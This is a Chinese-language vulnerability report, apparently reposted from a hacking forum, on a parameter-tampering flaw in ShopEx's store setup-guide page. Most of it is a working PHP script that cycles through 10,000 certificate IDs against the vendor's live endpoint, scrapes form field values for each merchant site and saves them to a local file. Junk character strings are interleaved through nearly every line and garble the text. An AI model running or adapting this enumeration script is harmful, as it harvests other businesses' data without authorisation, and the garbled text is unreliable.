ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
$ }% E# K1 x  h; Y& M) x- YShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
4 p. `# Y4 Q& ~& a
, s: m" k9 a2 `# c  w2 _
$ n6 e' @5 b& y, }1 d
; b+ ]* s1 E. Z/ [" \http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

: c1 ~" _. D* l% p# F* E

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

2 ^5 k' O/ ?& U9 {5 M

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


. Z) @$ o$ w" z0 J2 i
% q& a! v' y! W2 ~<?php

* s. P' r1 Y+ f                for ($i=1; $i < 10000; $i++) { //遍历
! M! V8 y% D3 D. U/ {6 G5 ~: m
; ~  E# E. A$ m! W7 K8 H" Q% N1 I8 I                        ShowshopExD($i);

9 n4 T1 L% ~0 ]                }

; g) r$ [: W+ Y& E8 i6 Z                function ShowshopExD($cid) {

( E$ T- N: ~/ h& C" x( K3 V( I                $url='http://guide.ecos.shopex.cn/step2.php';

4 o1 t+ I# ^6 n& `; W                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

$ w! |1 x: ?) g2 G) N+ e- M        $url = $url.'?refer='.$refer;

6 n5 m6 d( h4 R/ f& o7 v/ c1 e, i        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! T6 v/ p% _5 a( w1 p- L9 J
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
7 Y5 u8 M8 P, _$ y' @7 L, b
# J- G9 s% l2 d( V3 [        if(strpos($result,$refer))

        {
& ~4 t4 V# a; U
# r) v- J! I/ b# v+ ?5 b) ?                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( X' w: {# F) G! E
" g! w% |. p6 m& |7 {7 k, o                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
. ]# T+ J$ ~: M, M& R/ h
4 s# W! o* Z# A* ~& G' }/ m* ?" M                foreach ($value[1] as $key) {
! A: l' ^9 o. }+ N, s4 ]" F
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 I8 @1 j1 h9 S
, y. O2 t1 \# T                        echo $res[1][0].':'.$res[3][0]."\r\n";

) I- t9 T" |! @# |: C                        $col =$res[1][0].':'.$res[3][0]."\r\n";
5 b6 }. b7 ?& l( E3 U
                        fwrite($fp, $col, strlen($col));
7 W5 M' y2 g, X; P- O; Z
                }
. A" Q+ F) ~* I! M, r* r5 x( d
                echo '--------------------------------'."\r\n";

# O& T5 q. ^+ R5 U                fclose($fp);

        }
5 K1 _+ D2 V- G' O
. H- R- e% g2 \8 i        flush();
# P& C  S/ M( }4 i
# O3 `+ g7 }" E0 o8 v6 F        curl_close($ch);
3 |+ Z, x5 o0 C0 o
: a3 O5 X: s8 L! Y( E                }
! H, E* h8 Q+ ~. o+ ^% z$ V1 t
?>
漏洞证明：
9 T% H2 `( t! G2 w; R1 t/ Khttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
& {/ s9 b1 [. F7 i( ]refer换成其他加密方式